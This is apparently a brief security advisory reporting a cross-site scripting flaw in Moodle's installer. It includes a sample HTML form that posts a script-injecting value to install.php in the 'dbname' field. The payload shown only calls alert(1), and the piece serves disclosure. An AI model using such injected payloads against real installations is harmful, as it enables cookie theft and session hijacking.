Description  
Moodle is a course management system for educators.  
The installer code is vulnerable to Cross Site Scripting, letting you inject   
JavaScript and steal cookies. The XSS can only be triggered if there's a not   
installed moodle, so this can be considered low impact. Still it's possible   
to attack if an attacker knows from another person installing moodle.   
  
Sample code  
Sample XSS code:  
<form method="post" action="http://localhost/moodle/install.php">  
<input type="hidden" name="stage" value="3">  
<input type="text" name="dbname" value='"><script>alert(1)</script>'>  
<input type=submit>  
</form>
